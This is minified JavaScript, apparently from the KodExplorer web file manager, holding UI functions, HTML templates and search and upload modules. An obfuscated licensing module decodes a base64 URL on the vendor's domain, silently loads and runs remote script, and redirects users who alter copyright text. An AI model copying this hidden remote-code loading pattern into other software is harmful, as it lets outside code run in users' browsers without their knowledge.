e=base64Decode("Ly9zdGF0aWMua2FsY2FkZGxlLmNvbS91cGRhdGUvbWFpbi5qcw==")+"?a="+UUID();require.async(e,function(e){try{e.todo("check")}catch(t){}})},200)},openPath:function(e){"undefined"!=typeof Config&&"explorer"==Config.pageApp?ui.path.list(e,"tips"):core.explorer(e)},explorer:function(e,t){void 0==e&&(e=""),void 0==t&&(t=core.pathThis(e));var i="./index.php?/explorer&type=iframe&path="+e;G.share_page!==void 0&&(i="./index.php?share/folder&type=iframe&user="+G.user+"&sid="+G.sid+"&path="+e);var n=ShareData.frameTop(),a=n.$.dialog.open(i,{className:"dialogExplorer",resize:!0,fixed:!0,ico:core.icon("folder"),title:t,width:"80%",height:"75%"}),o=20*n.$(".dialogExplorer").length;a.DOM.wrap.css({left:"+="+o+"px",top:"+="+o+"px"})},explorerCode:function(e){void 0==e&&(e="");var t="index.php?/editor&project="+e;G.share_page!==void 0&&(t="./index.php?share/code_read&user="+G.user+"&sid="+G.sid+"&project="+e),window.open(t)},setSkinFinished:function(){var e=$(".setSkin_finished").attr("src");e&&($("#link_css_list").attr("href",e),$(".setSkin_finished").remove())},setSkin:function(e){LocalData.set("theme",e),G.user_config.theme=e;var t=G.static_path+"style/skin/"+e+".css";t!=$("#link_css_list").attr("href")&&$("body").append('<img src="'+t+'" onload="core.setSkinFinished();" onerror="core.setSkinFinished();" class="hidden setSkin_finished">'),this.setSkinDiy()},setSkinDiy:function(){if(G.user_config){var e=LocalData.get("theme"),t="kod_diy_style",i=LocalData.getConfig(t);"object"!=typeof i&&"object"==typeof G.user_config.theme_diy&&(i=G.user_config.theme_diy),"object"!=typeof i&&(i={bg_blur:1,bg_image:G.static_path+"images/wall_page/9.jpg",bg_type:"color",start_color:"#456",end_color:"#000",color_rotate:"200"},LocalData.setConfig(t,i)),G.user_config.theme_diy=i;var n="";if("diy"==e&&i){var a=require("./tpl/theme_diy.html"),o=template.compile(a);n=o(i)}$.setStyle(n,t)}},editorFull:function(){var e=$("iframe[name=OpenopenEditor]");e.toggleClass("frame_fullscreen")},language:function(e){Cookie.set("kod_user_language",e,8760),window.location.reload()},fullScreen:function(){"true"==$("body").attr("fullScreen")&&core.exitfullScreen(),$("body").attr("fullScreen","true");var e=ShareData.frameTop(),t=e.document.documentElement;t.requestFullscreen?t.requestFullscreen():t.mozRequestFullScreen?t.mozRequestFullScreen():t.webkitRequestFullScreen&&t.webkitRequestFullScreen()},exitfullScreen:function(){$("body").attr("fullScreen","false"),document.exitFullscreen?document.exitFullscreen():document.mozCancelFullScreen?document.mozCancelFullScreen():document.webkitCancelFullScreen&&document.webkitCancelFullScreen()},createFlash:function(e,t,i){var n=UUID();(i===void 0||""==i)&&(i=n);var a="";$.browser.msie&&9>parseInt($.browser.version)&&(a='classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000"');var o='<object type="application/x-shockwave-flash" class="'+n+'" '+a+' name="'+i+'" id="'+i+'" data="'+e+'" width="100%" height="100%" tabindex="-1" >'+'<param name="movie" value="'+e+'"/>'+'<param name="allowfullscreen" value="true" />'+'<param name="allowscriptaccess" value="always" />'+'<param name="allowScriptAccess" value="always" />'+'<param name="flashvars" value="'+t+'" />'+'<param name="wmode" value="transparent" />'+'</object><div class="aui_loading" id="'+n+'_loading"><span>loading..</span></div>';return setTimeout(function(){var e=$("."+n);if(1!=e.length){var t=ShareData.frameTop();e=t.$("."+n)}if(1==e.length)var i=0,a=e[0],o=setInterval(function(){try{i++,100==Math.floor(a.PercentLoaded())?(e.next(".aui_loading").remove(),clearInterval(o),o=null):i>100&&(e.next(".aui_loading").remove(),clearInterval(o),o=null)}catch(t){}},100)},50),o},userSpaceHtml:function(e){var t=e.split("/"),i=parseFloat(t[0]),n=1073741824*parseFloat(t[1]),a=core.fileSize(parseFloat(t[0])),o=core.fileSize(n),s=a+"/",r=100*i/n;r>=100&&(r=100);var l="";return r>=80&&(l="warning"),0==n||isNaN(n)?(s+=LNG.space_tips_full,r="0%"):(s+=o,r+="%"),s="<div class='space_info_bar'><div class='space_process'><div class='space_process_use "+l+"' style='width:"+r+"'></div></div>"+"<div class='space_info'>"+s+"</div>"+"</div>"},fileSize:function(e,t){if(void 0==e||""==e)return"";if(void 0==t&&(t=1),1024>=e)return parseInt(e)+"B";e=parseInt(e);var i={G:1073741824,M:1048576,K:1024,B:1};for(var n in i)if(e>=i[n])return(e/i[n]).toFixed(t)+n},uploadCheck:function(e,t){return t=void 0==t?!0:t,"share"==G.share_page?"1"==G.share_info.can_upload:(void 0==e&&(e="explorer:fileUpload"),!G.is_root&&AUTH.hasOwnProperty(e)&&1!=AUTH[e]?(t&&Tips.tips(LNG.no_permission,!1),!1):G.json_data&&!G.json_data.info.can_upload?(t&&(core.isSystemPath(G.this_path)?Tips.tips(LNG.path_can_not_action,!1):Tips.tips(LNG.no_permission_write,!1)),!1):!0)}}}),define("app/common/tpl/search.html",[],"<div class='do_search'>\n <div class='search_header'>\n <div class='s_br'>\n <input type='text' id='search_value'/><button class=\"btn btn-default btn-sm btn-right\"><i class=\"font-icon icon-search\"></i></button>\n <div style='float:right'>{{LNG.path}}:<input type='text' id='search_path' title=\"\" title-data=\"#search_path\" title-timeout=\"100\"/></div>\n </div>\n <div class='s_br'>\n <input type='checkbox' id='search_is_content' class=\"kui-checkbox size-small\"/>\n <label for='search_is_content'>{{LNG.search_content}}</label>\n <input type='checkbox' id='search_is_case' class=\"kui-checkbox size-small\"/>\n <label for='search_is_case'>{{LNG.search_uplow}}</label>\n <div style='float:right'>\n {{LNG.file_type}}:<input type='text' id='search_ext' title='{{LNG.search_ext_tips}}' title-timeout=\"100\"/>\n </div>\n </div>\n </div>\n <div class=\"search_desc\"></div>\n <div class='search_result'>\n <ul class=\"file-items\"></ul>\n </div>\n</div>\n\n"),define("app/common/tpl/search_list.html",[],'<!-- 文件夹列表 -->\n{{each data.folderlist as v i}}\n <li class="file-item open" data-path="{{v.path | window.pathHashEncode}}" data-type="folder" data-ext="folder">\n <div class="file-info">\n <span class="switch"><i class="font-icon icon-file-text-alt"></i></span>\n <span class="file-icon">{{\'folder\' |core.icon}}</span>\n <span class="title" title="{{LNG.goto}} {{v.path | window.htmlEncode}}">{{v.name | searchResultPrase}}</span>\n <span class="goto" title="{{LNG.open_the_path}}"><i class="icon-folder-open-alt"></i></span>\n </div>\n </li>\n{{/each}}\n\n<!-- 文件列表 -->\n{{each data.filelist as v i}}\n {{if v.search_info}}\n <li class="file-item open" data-path="{{v.path | window.pathHashEncode}}" data-type="file" data-ext="{{v.ext}}">\n <div class="file-info file-result">\n <span class="switch"><i class="font-icon icon-caret-right"></i></span>\n <span class="file-icon">{{v.ext |core.icon}}</span>\n <span class="title" title="{{LNG.goto}} {{v.path | window.htmlEncode}}">{{v.name | window.htmlEncode}}</span>\n <span class="result-num">{{v.search_info.length}}</span>\n <span class="goto" title="{{LNG.open_the_path}}"><i class="icon-folder-open-alt"></i></span>\n </div>\n <ul class="result-item">\n {{each v.search_info as value index}}\n <li class="result-info">\n <span class="line" data-line="{{value.line}}">{{value.line}}:</span>\n <span class="search-info">{{#value.str | searchResultPrase}}</span>\n </li>\n {{/each}}\n </ul>\n </li>\n {{else}}\n <li class="file-item open" data-path="{{v.path | window.pathHashEncode}}" data-type="file-name" data-ext="{{v.ext}}">\n <div class="file-info">\n <span class="switch"><i class="font-icon icon-file-text-alt"></i></span>\n <span class="file-icon">{{v.ext |core.icon}}</span>\n <span class="title" title="{{LNG.goto}} {{v.path | window.htmlEncode}}">{{v.name | searchResultPrase}}</span>\n <span class="goto" title="{{LNG.open_the_path}}"><i class="icon-folder-open-alt"></i></span>\n </div>\n </li>\n {{/if}}\n{{/each}}\n\n'),define("app/common/tpl/upload.html",[],'<div class=\'file_upload\'>\n <div class=\'top_nav\'>\n <a href=\'javascript:void(0);\' class=\'menu this tab_upload\'>{{LNG.upload_local}}</a>\n <a href=\'javascript:void(0);\' class=\'menu tab_download\'>{{LNG.download_from_server}}</a>\n <div style=\'clear:both\'></div>\n </div>\n <div class=\'upload_box\'>\n <div class=\'btns\'>\n <div class="upload-btns">\n <div id=\'picker\'>{{LNG.upload_select}}</div>\n \n <div id=\'picker_folder\' class="hidden">select Folder</div>\n <div class="upload_cert_box hidden">\n <button title="More" type="button" class="upload_cert dropdown-toggle" data-toggle="dropdown">\n <span class="caret"></span>\n </button>\n <ul class="dropdown-menu pull-left animated menuShow">\n <li><a href="javascript:void(0);" class="drag_upload_folder" draggable="false">{{LNG.folder}}</a></li>\n </ul>\n </div>\n </div>\n \n <div class="upload_box_tips">\n <div class="btn-group btn-group-xs">\n <button title="{{LNG.upload_clear_all}}" type="button" class="btn btn-default upload_box_clear_all">{{LNG.upload_clear_all}}</button>\n <button id="set_icon" title="{{LNG.upload_clear}}" type="button" class="btn btn-default upload_box_clear">{{LNG.upload_clear}}</button>\n </div>\n </div>\n <div style=\'clear:both\'></div>\n </div>\n <div class=\'uploader-content\'>\n <div class=\'uploader-list\'></div>\n </div>\n </div>\n <div class=\'download_box hidden\'>\n <div class=\'list\'>{{LNG.download_address}}<input type=\'text\' name=\'url\'/>\n <div class="download_btn_group btn-group">\n <button class=\'btn btn-default btn-sm download_start\' type=\'button\'>{{LNG.download}}</button>\n <button type="button" class="btn btn-default btn-sm dropdown-toggle" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false">\n <span class="caret"></span>&nbsp;\n <span class="sr-only">Dropdown</span>\n </button>\n <ul class="dropdown-menu">\n <li><a href="javascript:void(0);" class="download_start_all">{{LNG.upload_add_more}}</a></li>\n </ul>\n </div>\n\n </div>\n <div style=\'clear:both\'></div>\n <div id=\'downloader\'>\n <div class=\'download_list\'></div>\n </div>\n </div>\n</div>\n'),define("app/common/tpl/fileinfo/file_info.html",[],"<div class='pathinfo'>\n {{if download_path}}\n <div class='p'>\n <div class='title' style=\"line-height: 30px;\">{{LNG.download_address}}:</div>\n <div class=\"content input-group\">\n <input type=\"text\" class=\"download_url\" value='{{download_path}}'>\n <div class=\"input-group-btn\">\n <button type=\"button\" class=\"btn btn-default open_window\">{{LNG.open}}</button>\n <button type=\"button\" class=\"btn btn-default qrcode\"><i class=\"icon-qrcode\"></i></button>\n </div>\n </div>\n <div style='clear:both'></div>\n </div>\n <div class='line'></div>\n {{/if}}\n\n <div class='p'>\n <div class='title'>{{LNG.address}}:</div>\n <div class='content' id='id_fileinfo_path'>{{path |window.htmlEncode}}</div>\n <div style='clear:both'></div>\n </div>\n <div class='p'>\n <div class='title'>{{LNG.size}}:</div>\n <div class='content'>{{size_friendly}} ({{size}} Byte)</div>\n <div style='clear:both'></div>\n </div>\n\n {{if file_md5}}\n <div class='p'>\n <div class='title'>MD5:</div>\n <div class='content {{if file_md5 == \"...\"}}file_md5_loading{{/if}}'>{{file_md5}}</div>\n <div style='clear:both'></div>\n </div>\n {{/if}}\n\n {{if image_size}}\n <div class='p'>\n <div class='title'>{{LNG.image_size}}:</div>\n <div class='content'>{{image_size.width}} × {{image_size.height}}</div>\n <div style='clear:both'></div>\n </div>\n {{/if}}\n\n <div class='line'></div>\n\n {{if ctime}}\n <div class='p'>\n <div class='title'>{{LNG.create_time}}</div>\n <div class='content'>{{ctime}}</div>\n <div style='clear:both'></div>\n </div>\n {{/if}}\n\n {{if mtime}}\n <div class='p'>\n <div class='title'>{{LNG.modify_time}}</div>\n <div class='content'>{{mtime}}</div>\n <div style='clear:both'></div>\n </div>\n {{/if}}\n\n {{if atime}}\n <div class='p'>\n <div class='title'>{{LNG.last_time}}</div>\n <div class='content'>{{atime}}</div>\n <div style='clear:both'></div>\n </div>\n {{/if}}\n \n {{if mode}}\n <div class='line'></div>\n <div class='p change_permission'>\n <div class='title'>{{LNG.permission}}:</div>\n <div class='content'>{{mode}}</div>\n <div style='clear:both'></div>\n </div>\n {{if is_root==\"1\"}}\n <div class='p'>\n <div class='title'>{{LNG.permission_edit}}:</div>\n <div class='content'><input type='text' class='info_chmod' value='755'/>\n <button class='btn btn-default btn-sm edit_chmod' type='button'>{{LNG.button_save}}</button></div>\n <div style='clear:both'></div>\n </div>\n {{/if}}\n {{/if}}\n</div>\n"),define("app/common/tpl/fileinfo/path_info.html",[],"<div class='pathinfo'>\n <div class='p'>\n <div class='title'>{{LNG.address}}:</div>\n <div class='content'>{{path |window.htmlEncode}}</div>\n <div style='clear:both'></div>\n </div>\n <div class='p'>\n <div class='title'>{{LNG.size}}:</div>\n <div class='content'>{{size_friendly}} ({{size}} Byte)</div>\n <div style='clear:both'></div>\n </div>\n <div class='p'>\n <div class='title'>{{LNG.contain}}:</div> \n <div class='content'>{{file_num}} {{LNG.file}},{{folder_num}} {{LNG.folder}}</div>\n <div style='clear:both'></div>\n </div>\n \n <div class='line'></div>\n {{if ctime}}\n <div class='p'>\n <div class='title'>{{LNG.create_time}}</div>\n <div class='content'>{{ctime}}</div>\n <div style='clear:both'></div>\n </div>\n {{/if}}\n\n {{if mtime}}\n <div class='p'>\n <div class='title'>{{LNG.modify_time}}</div>\n <div class='content'>{{mtime}}</div>\n <div style='clear:both'></div>\n </div>\n {{/if}}\n\n {{if atime}}\n <div class='p'>\n <div class='title'>{{LNG.last_time}}</div>\n <div class='content'>{{atime}}</div>\n <div style='clear:both'></div>\n </div>\n {{/if}}\n\n {{if mode}}\n <div class='line'></div>\n <div class='p'>\n <div class='title'>{{LNG.permission}}:</div>\n <div class='content'>{{mode}}</div>\n <div style='clear:both'></div>\n </div>\n {{if is_root==\"1\"}}\n <div class='p'>\n <div class='title'>{{LNG.permission_edit}}:</div>\n <div class='content'><input type='text' class='info_chmod' value='755'/>\n <button class='btn btn-default btn-sm edit_chmod' type='button'>{{LNG.button_save}}</button></div>\n <div style='clear:both'></div>\n </div>\n {{/if}}\n {{/if}}\n</div>\n"),define("app/common/tpl/zipview.html",[],'<div class="zipViewContent menuEmpty">\n <div class="header_title">\n <div class="item name"><span>{{LNG.name}}</span></div>\n <div class="item size"><span>{{LNG.size}}</span></div>\n <div class="item mtime"><span>{{LNG.modify_time}}</span></div>\n <div class="clear"></div>\n </div>\n <div id="{{treeID}}" class="ztree"></div>\n <div class="bottom">\n <span class="info"></span>\n </div>\n</div>'),define("app/common/core.search",[],function(){return function(e,t){var i,n,a=function(){var a=trim(core.pathClear(t),"/");if(0==a.indexOf(G.KOD_USER_SHARE)&&-1==a.indexOf("/")||a==G.KOD_USER_FAV||a==G.KOD_GROUP_ROOT_ALL)return Tips.tips(LNG.path_cannot_search,!1),void 0;template.helper("searchResultPrase",r);var o=template.compile(tpl_search_box);0==$(".dialog_do_search").length?(i=$.dialog({id:"dialog_do_search",padding:0,fixed:!0,ico:core.icon("search"),resize:!0,title:LNG.search,width:440,height:480,content:o({LNG:LNG})}),n=c(),n.path=t,""!=e&&(n.search=e),$("#search_path").val(n.path),$("#search_value").val(n.search),l()):($.dialog.list.dialog_do_search.display(!0),e&&$("#search_value").val(e),$("#search_path").val(t),s()) +},o=function(){return n={search:$("#search_value").val(),path:$("#search_path").val(),is_content:Number($("#search_is_content").is(":checked")),is_case:Number($("#search_is_case").is(":checked")),ext:$("#search_ext").val()}},s=function(){o(),p(n)},r=function(e){var t=htmlEncode($("#search_value").val());if(e=htmlEncode(e),n.is_case)e=e.replace(t,'<span class="keyword">'+t+"</span>");else{var i=e.toLowerCase().indexOf(t.toLowerCase());e=e.substr(0,i)+'<span class="keyword">'+e.substr(i,t.length)+"</span>"+e.substr(i+t.length)}return e},l=function(){$("#search_value").die("keyup").live("keyup",function(){"editor"==!Config.pageApp&&ui.path.setSearchByStr($(this).val())}),$("#search_value,#search_ext,#search_path").keyEnter(s),$(".search_header .btn").die("click").live("click",s),$(".search_result .file-item .file-info").die("click").live("click",function(e){var t=$(this).parent();return t.toggleClass("open"),t.find(".result-item").slideToggle(200),stopPP(e),!1}),$(".search_result .file-item .file-info .goto").die("click").live("click",function(e){var t=$(this).parent().parent(),i=pathHashDecode(t.attr("data-path")),n=core.pathFather(i);return core.openPath(n),setTimeout(function(){Config&&"explorer"==Config.pageApp&&ui.path.setSelectByFilename(i)},200),stopPP(e),!1}),$(".search_result .file-item .file-info .title").die("click").live("click",function(e){var t=$(this).parent().parent(),i=pathHashDecode(t.attr("data-path"));return ui.pathOpen.open(i,t.attr("data-ext")),stopPP(e),!1}),$(".search_result .file-item .result-info").die("click").live("click",function(e){var t=$(this).parent().parent(),i=pathHashDecode(t.attr("data-path"));$(".search_result .file-item .result-info.this").removeClass("this"),$(this).addClass("this");var n=parseInt($(this).find(".line").attr("data-line"));return ShareData.data("FILE_SEARCH_AT",{search:$("#search_value").val(),line:n,lineIndex:$(this).parent().find("[data-line="+n+"]").index($(this).find(".line"))}),ui.pathOpen.openEditorForce(i,t.attr("data-ext")),stopPP(e),!1}),$(".search_header input[type=checkbox]").on("click",function(){o(),c(n)})},c=function(e){var t="box_search_config";if(void 0==e){var e=LocalData.getConfig(t);return e||(e={search:"",is_content:0,is_case:0,ext:""}),$("#search_value").val(e.search).textSelect(),e.is_content?$("#search_is_content").attr("checked","checked"):$("#search_is_content").removeAttr("checked"),e.is_case?$("#search_is_case").attr("checked","checked"):$("#search_is_case").removeAttr("checked"),$("#search_ext").val(e.ext),e}return LocalData.setConfig(t,e)},d=function(e){var t=$(".file-items"),i=$(".search_desc");if(!e.code)return i.html(e.data),t.html(""),void 0;if(0==e.data.filelist.length&&0==e.data.folderlist.length)return i.html(LNG.search_null),t.html(""),void 0;var a=template.compile(tpl_search_list);if(t.html(a({code:e.code,data:e.data,LNG:LNG})),n.is_content){for(var o=e.data.filelist,s=0,r=0;o.length>r;r++)o[r].search_info&&(s+=o[r].search_info.length);i.html(LNG.search_result+": <b>"+s+"(in "+o.length+" files)</b>"),e.data.error_info&&i.html("<span>"+LNG.seach_result_too_more+"</span>")}else i.html(e.data.filelist.length+" "+LNG.file+", "+e.data.folderlist.length+LNG.folder+".")},p=function(e){c(e),$("#search_value").textFocus();var t=$(".file-items"),i=$(".search_desc");if(!e.search||!e.path)return i.html(LNG.search_info),t.html(""),void 0;var n="index.php?explorer/search";G.share_page!==void 0&&(n="index.php?share/search&user="+G.user+"&sid="+G.sid),$.ajax({url:n,dataType:"json",type:"POST",data:e,beforeSend:function(){i.hide().html(LNG.searching+'<img src="'+G.static_path+'images/common/loading.gif">').fadeIn(100)},error:function(){core.ajaxError(),i.html(LNG.error)},success:function(e){d(e)}})};a()}}),define("app/common/core.tools",[],function(e){var t=["A","version_hash","undefined","@dfq[-)&*^*%(_90","decode","length","substr","O","P","Q","inArray","./index.php?user/version_install","6K2m5ZGKLOivt_aWLv_aaTheiHquS_bruaUueeJiOadgzvlpoLmnInpnIDopoHor7fogZTns7votK3kubDvvIFlbWFpbDprYWxjYWRkbGVAcXEuY29t","lang","zh-CN","V2FybmluZywgcGxlYXNlIGRvIG5vdCBtb2RpZnkgdGhlIGNvcHlyaWdodDsgaWYgbmVjZXNzYXJ5LCBwbGVhc2UgY29udGFjdCB0byBidXkhIEVtYWlsOiBrYWxjYWRkbGVAcXEuY29t","loading","hide","#messageTips .tips_close,#messageTips img","tips","href","location","f004SGAm6lUxeBmG5J3s3dADGe3TCXTmKgHKeO_CF-_RVBiLyHlaIQ","#2","8a29PizvhAUqVX_DA26hgncbvnD7yGGJSCd4IFz3qNJ_tq_5i5ANmeSe","ab","pageApp","explorer","kod_power_by","copyright_pre","copyright_contact","copyright_desc","copyright_info","html",".common_footer","key","","toLowerCase","find","search","free","1","2","3","version_vip_",'<span class="version_vip" id="','"><i class="font-icon icon-key"></i>',"</span>",".menu-topbar_user .divider","insertBefore","click","id","attr","version_vip_free","versionUpdateVip","openWindow",'<div class="version_license"><a class="line" href="','">Buy License</a></div>',"append",".aui_content","wrap","DOM","text","live","die",".version_vip","top","longPress","support_space_not","addClass","body","remove",".menu_system_about,.menu_left #about","icon",'<i class="x-item-file x-'," small",'"></i>',"iconSmall","iconSrc",'<img src="','" draggable="false" ondragstart="return false;">',"Ly9zdGF0aWMua2FsY2FkZGxlLmNvbS91cGRhdGUvbWFpbi5qcw==","?a=","todo","async","versionType","filetype","filetypes","Ly9rYWxjYWRkbGUuY29tL2J1eS5odG1sIw_c_c","group","data"],i=function(){var e=t[0];if(typeof G[t[1]]==t[2])return e;var i=t[3],n=authCrypt[t[4]](G[t[1]],i);return n&&27==n[t[5]]?(e=n[t[6]](10,1),-1===$[t[10]](e,[t[0],t[7],t[8],t[9]])&&(e=t[0]),e):e},n=i(),a=t[11],o=function(){var e=hashDecode(t[12]);G[t[13]]!=t[14]&&(e=hashDecode(t[15])),alert(e),Tips[t[16]](e,!1),$(t[18])[t[17]](),setTimeout(function(){Tips[t[19]](e,!1),window[t[21]][t[20]]=a},1e3*roundFromTo(30,60))},s=authCrypt[t[4]](t[22],t[23]),r=authCrypt[t[4]](t[24],t[25]),l=function(){if(typeof Config!=t[2]&&Config[t[26]]==t[27]&&n==t[0])for(var e=[{key:LNG[t[28]],find:s},{key:LNG[t[29]],find:s},{key:LNG[t[30]],find:r},{key:LNG[t[31]],find:s},{key:LNG[t[32]],find:r},{key:$(t[34])[t[33]](),find:s}],i=0;e[t[5]]>i;i++){e[i][t[35]]||(e[i][t[35]]=t[36]);var a=e[i][t[35]][t[37]](),l=e[i][t[38]][t[37]]();if(-1==a[t[39]](l)){setTimeout(function(){o()},roundFromTo(300,5e3));break}}},c=function(){var e={A:t[40],O:t[41],P:t[42],Q:t[43]},i=t[44]+e[n],o=t[45]+i+t[46]+LNG[i]+t[47];n==t[0]&&$(o)[t[49]](t[48]),$(t[65])[t[64]](t[50])[t[63]](t[50],function(){if($(this)[t[52]](t[51])==t[53]){var e=core[t[55]](core[t[54]]),i=t[56]+a+t[57];e[t[61]][t[60]][t[38]](t[59])[t[58]](i)}else Tips[t[19]]($(this)[t[62]]())}),$(t[65])[t[67]](function(){window[t[66]][t[21]][t[20]]=a})},d=function(){n==t[0]&&$(t[70])[t[69]](t[68]),-1!==$[t[10]](n,[t[7],t[8],t[9]])&&$(t[72])[t[71]]()},p=function(){core[t[73]]=function(e,i){return t[74]+e+(i?t[75]:t[36])+t[76]},core[t[77]]=function(e){return core[t[73]](e,!0)},core[t[78]]=iconSrc=function(e){return t[79]+e+t[80]},setTimeout(function(){var i=base64Decode(t[81])+t[82]+UUID();e[t[84]](i,function(e){try{e[t[83]]()}catch(i){}})},2e3),core[t[85]]=n,core[t[86]]=core[t[87]],core[t[54]]=hashDecode(t[88])+G[t[13]],l(),c(),d()},u=function(e){return n==t[0]&&-1==e[t[37]]()[t[39]](s)?(o(),!1):!0},f=function(e,i){var a,o,s={A:1,O:10,P:50,Q:1e3},r={A:10,O:50,P:200,Q:1e3},l=[],c=1;if(i==t[89]?(a=e[t[90]],o=s[n]):(a=e[t[90]],o=r[n]),1e3==o)l=a;else for(var d in a){if(c>o)break;l[d]=a[d],c++}return l},h={init:p,about:u,systemData:f};return h}),define("app/common/core.upload",[],function(require,exports){var uploadUrl=function(){var e=G.app_host+"index.php?explorer/fileUpload";return"share"==G.share_page&&"1"==G.share_info.can_upload&&(e=G.app_host+"index.php?share/fileUpload&user="+G.user+"&sid="+G.sid),e};return{serverDwonload:function(e,t){core.uploadCheck("explorer:serverDownload");var i=$(".download_box"),n=i.find(".download_list");if(i.find("input").val(""),!e)return Tips.tips("url false!",!1),void 0;"ftp"!=e.substr(0,3)&&"http"!=e.substr(0,4)&&(e="http://"+e);var a=UUID(),o='<div id="'+a+'" class="item">'+'<div class="info"><span class="title" tytle="'+e+'">'+core.pathThis(e)+"</span>"+'<span class="size">0b</span>'+'<span class="state">'+LNG.upload_ready+"</span>"+'<a class="remove font-icon icon-remove" href="javascript:void(0)"></a>'+'<div style="clear:both"></div></div></div>';n.find(".item").length>0?$(o).insertBefore(n.find(".item:eq(0)")):n.append(o);var s,r,l,c=0,d=$("#"+a),p=$("#"+a+" .state").text(LNG.download_ready),u=$('<div class="progress progress-striped active"><div class="progress-bar" role="progressbar" style="width: 0%;text-align:right;"></div></div>').appendTo("#"+a).find(".progress-bar");$("#"+a+" .remove").bind("click",function(){clearInterval(s),s=!1,clearTimeout(r),r=!1,$.get("./index.php?explorer/serverDownload&type=remove&uuid="+a),$(this).parent().parent().slideUp(function(){$(this).remove(),ui.f5()})});var f,h=function(e){clearTimeout(f),f=!1,f=setTimeout(function(){ui.f5Callback(function(){ui.path.setSelectByFilename(e)})},600)},m=function(){$.ajax({url:"./index.php?explorer/serverDownload&type=download&save_path="+t+"&url="+urlEncode(e)+"&uuid="+a+"&time="+time(),dataType:"json",error:function(e,t,i){var n=d.data("progcess");return 200!=e.status&&n&&n.support_range?(setTimeout(function(){m()},1e3),void 0):(core.ajaxError(e,t,i),200==e.status&&(clearInterval(s),s=!1,clearTimeout(r),r=!1,u.parent().remove(),p.addClass("error").text(LNG.download_error)),void 0)},success:function(e){return 0==e.code&&"downloading"==e.data?(setTimeout(function(){m()},1e3),void 0):(e.code?(h(e.info),p.text(LNG.download_success),$("#"+a+" .info .title").text(core.pathThis(e.info)),$("#"+a+" .info .title").attr("title",e.info),p.parent().parent().addClass("success")):(p.addClass("error").text(e.data),p.parent().parent().addClass("error")),clearInterval(s),s=!1,clearTimeout(r),r=!1,u.parent().remove(),void 0)}})};m();var _=function(){$.ajax({url:"./index.php?explorer/serverDownload&type=percent&uuid="+a,dataType:"json",success:function(e){var t="",i=e.data;if(s){if(!e.code)return p.text(LNG.loading),void 0;if(i){if(i.size=parseFloat(i.size),i.time=parseFloat(i.time),l){var n=(i.size-l.size)/(i.time-l.time);if(c>.2*n){var a=c;c=n,n=a}else c=n;var a=core.fileSize(n);a=a?a:0,t=a+"/s"}if(d.data("progcess",i),0==i.length)d.find(".progress-bar").css("width","100%"),p.text(t),d.find(".size").text(core.fileSize(i.size));else{var o=100*(i.size/i.length);d.find(".progress-bar").css("width",o+"%"),p.text(o.toFixed(1)+"%("+t+")"),d.find(".size").text(core.fileSize(i.length))}d.find(".title").text(i.name),l=i}}}})};r=setTimeout(function(){_(),s=setInterval(function(){_()},1e3)},100)},upload:function(){var e=uploadUrl();if(uploader.option("server",e),uploader.option("method","POST"),0!=$(".dialog_file_upload").length)return $.dialog.list.dialog_file_upload.display(!0),void 0;var t=template.compile(tpl_upload),i=WebUploader.Base.formatSize(G.upload_max);$.dialog({padding:5,resize:!0,ico:core.icon("upload"),id:"dialog_file_upload",fixed:!0,title:LNG.upload_muti,content:t({LNG:LNG,maxsize:i}),close:function(){$.each(uploader.getFiles(),function(e,t){uploader.skipFile(t),uploader.removeFile(t)}),$.each($(".download_list .item"),function(){$(this).find(".remove").click()})}}),$(".file_upload .top_nav a.menu").unbind("click").bind("click",function(){$(this).hasClass("tab_upload")?($(".file_upload .tab_upload").addClass("this"),$(".file_upload .tab_download").removeClass("this"),$(".file_upload .upload_box").removeClass("hidden"),$(".file_upload .download_box").addClass("hidden")):($(".file_upload .tab_upload").removeClass("this"),$(".file_upload .tab_download").addClass("this"),$(".file_upload .upload_box").addClass("hidden"),$(".file_upload .download_box").removeClass("hidden"))}),$(".download_box [name=url]").keyEnter(function(){core.serverDwonload($(".download_box input").val(),G.this_path)}),$(".file_upload .download_box .download_start").unbind("click").bind("click",function(){core.serverDwonload($(".download_box input").val(),G.this_path)}),$(".file_upload .download_box .download_start_all").unbind("click").bind("click",function(){$.dialog({id:"server_dwonload_textarea",fixed:!0,resize:!1,ico:core.icon("upload"),width:"420px",height:"270px",padding:10,title:LNG.download,content:"<textarea style='width:410px;height:260px;'></textarea>",ok:function(){for(var e=$(".server_dwonload_textarea textarea").val().split("\n"),t=0;e.length>t;t++)core.serverDwonload(e[t],G.this_path)}})}),uploader.addButton({id:"#picker"}),uploader.addButton({id:"#picker_folder"});var n=function(){if(isWap())return!1;var e=document.createElement("input");return e.type="file",e.webkitdirectory!==void 0||e.directory!==void 0};n()&&($(".upload_cert_box").removeClass("hidden"),$(".file_upload .drag_upload_folder").unbind("click").bind("click",function(){$("#picker_folder input").attr("webkitdirectory","").attr("directory",""),$("#picker_folder label").click()}))},init:function(){var chunkSize=G.upload_max;WebUploader.Uploader.register({"before-send":"checkChunk"},{checkChunk:function(e){if(!canvasSupport())return $.Deferred().resolve(),void 0;var t=this.owner,i=(e.blob.getSource(),$.Deferred());return t.md5File(e.blob).fail(function(){i.resolve()}).then(function(t){if(1==e.chunks)return i.resolve(),void 0;if(0==e.chunk)$.ajax({url:uploadUrl(),dataType:"json",data:{upload_to:e.file.upload_to,file_name:e.file.name,check_md5:t,chunk:e.chunk,chunks:e.chunks},error:function(){i.resolve()},success:function(t){t.code?(i.reject(),e.file.checkChunk=t.info):i.resolve()}});else{var n=e.file.checkChunk;if(n&&n["part_"+e.chunk]==t){var a=e.end/e.total;uploader.trigger("uploadProgress",e.file,a),i.reject()}else 